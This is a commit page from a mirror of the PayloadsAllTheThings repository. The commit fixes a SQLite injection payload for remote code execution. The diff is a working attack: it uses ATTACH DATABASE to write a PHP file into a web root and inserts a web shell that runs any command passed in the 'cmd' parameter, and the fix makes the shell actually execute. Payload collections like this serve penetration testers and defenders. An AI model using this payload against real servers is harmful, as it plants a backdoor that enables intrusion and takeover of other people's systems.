mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2025-03-04 15:27:18 +00:00
Fixing "RCE - Attach Database" Payload
The old payload doesn't work for many cases as the `php` in `<?php` is missing.
This commit is contained in:
parent
5714b9c9d7
commit
4ab2649317
1 changed files with 1 additions and 1 deletions
|
@ -82,7 +82,7 @@ AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
|
||||||
```sql
|
```sql
|
||||||
ATTACH DATABASE '/var/www/lol.php' AS lol;
|
ATTACH DATABASE '/var/www/lol.php' AS lol;
|
||||||
CREATE TABLE lol.pwn (dataz text);
|
CREATE TABLE lol.pwn (dataz text);
|
||||||
INSERT INTO lol.pwn (dataz) VALUES ('<?system($_GET['cmd']); ?>');--
|
INSERT INTO lol.pwn (dataz) VALUES ('<?php system($_GET['cmd']); ?>');--
|
||||||
```
|
```
|
||||||
|
|
||||||
## Remote Command Execution using SQLite command - Load_extension
|
## Remote Command Execution using SQLite command - Load_extension
|
||||||
|
|
Loading…
Add table
Reference in a new issue